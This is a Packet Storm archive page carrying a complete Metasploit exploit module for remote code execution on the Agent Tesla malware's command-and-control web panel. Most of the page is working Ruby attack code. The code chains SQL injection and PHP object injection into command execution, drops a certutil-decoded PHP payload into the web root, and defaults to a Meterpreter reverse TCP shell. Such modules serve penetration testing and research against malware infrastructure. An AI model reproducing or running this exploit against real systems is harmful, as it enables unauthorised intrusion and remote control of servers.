what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Agent Tesla Panel Remote Code Execution

Agent Tesla Panel Remote Code Execution
Posted Jun 18, 2020
Authored by Ege Balci, mekhalleh, gwillcox-r7 | Site metasploit.com

This Metasploit module exploits a command injection vulnerability within the Agent Tesla control panel, in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain remote code execution on affected hosts. Panel versions released prior to September 12, 2018 can be exploited by unauthenticated attackers to gain remote code execution as user running the web server. Agent Tesla panels released on or after this date can still be exploited however, provided that attackers have valid credentials for the Agent Tesla control panel. Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack. Support for Linux may be added in a future update, but could not be confirmed during testing.

tags | exploit, remote, web, php, code execution, sql injection
systems | linux, windows
SHA-256 | 642ae2da08c3ed900b9c3760d13a2d1c0fb0e0de2dd1b41ae42a606c6a1d18a4

Agent Tesla Panel Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Agent Tesla Panel Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability within the Agent Tesla control panel,
in combination with an SQL injection vulnerability and a PHP object injection vulnerabilty, to gain
remote code execution on affected hosts.

Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
gain remote code execution as user running the web server. Agent Tesla panels released on or after
this date can still be exploited however, provided that attackers have valid credentials for the
Agent Tesla control panel.

Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
Support for Linux may be added in a future update, but could not be confirmed during testing.
},
'Author' => [
'Ege Balc─▒ <ege.balci@invictuseurope.com>', # discovery and independent module
'mekhalleh (RAMELLA S├ębastien)', # Added windows targeting and authenticated RCE
'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit
],
'References' => [
['EDB', '47256'], # Original PoC and Metasploit module
['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download
['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.
['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla
],
'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'Automatic (PHP-Dropper)', {
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),
OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),
OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])
])
end

def os_get_name
response = parse_response(execute_command('echo $PATH'))

## Not linux, check Windows.
response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')

os_name = ''
if response =~ %r{^\/}
os_name = 'linux'
elsif response =~ /^[a-zA-Z]:\\/
os_name = 'windows'
end

os_name
end

def parse_response(js)
return '' unless js

begin
return js.get_json_document['data'][0].values.join
rescue NoMethodError
return ''
end
return ''
end

def execute_command(command, _opts = {})
junk = rand(1_000)
sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")
requested_payload = {
'table' => 'passwords',
'primary' => 'HWID',
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")
}
cookie = auth_get_cookie

request = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
}
request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth
request = request.merge({
'encode_params' => true,
'vars_get' => requested_payload
})

response = send_request_cgi(request)
return false unless response

return response if response.body

false
end

def auth_get_cookie
if datastore['USERNAME'] && datastore['PASSWORD']
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
'Username' => datastore['USERNAME'],
'Password' => datastore['PASSWORD']
}
)
return :not_auth unless response

return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/
end

:not_auth
end

def check
# check for login credentials couple.
if datastore['USERNAME'] && datastore['PASSWORD'].nil?
fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
end

if datastore['PASSWORD'] && datastore['USERNAME'].nil?
fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
end

response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
)

if response
if response.redirect? && response.headers['location'] =~ /login.php/
unless datastore['USERNAME'] && datastore['PASSWORD']
print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
return Exploit::CheckCode::Unknown
end
end

rand_str = Rex::Text.rand_text_alpha(8..16)
cmd_output = parse_response(execute_command("echo #{rand_str}"))

return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)
end

Exploit::CheckCode::Safe
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

os = os_get_name
unless os
print_bad('Could not determine the targeted operating system.')
return Msf::Exploit::Failed
end
print_status("Targeted operating system is: #{os}")

file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'
case os
when /linux/
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
when /windows/
cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
end
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{cmd}")

response = execute_command(cmd)
unless response && response.code == 200 && response.body.include?('command completed successfully')
fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
end
if os == 'windows'
panel_uri = datastore['TARGETURI'].gsub('/', '\\')
print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
else
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
end

# Triggering payload.
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)
}, 2.5)
end
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close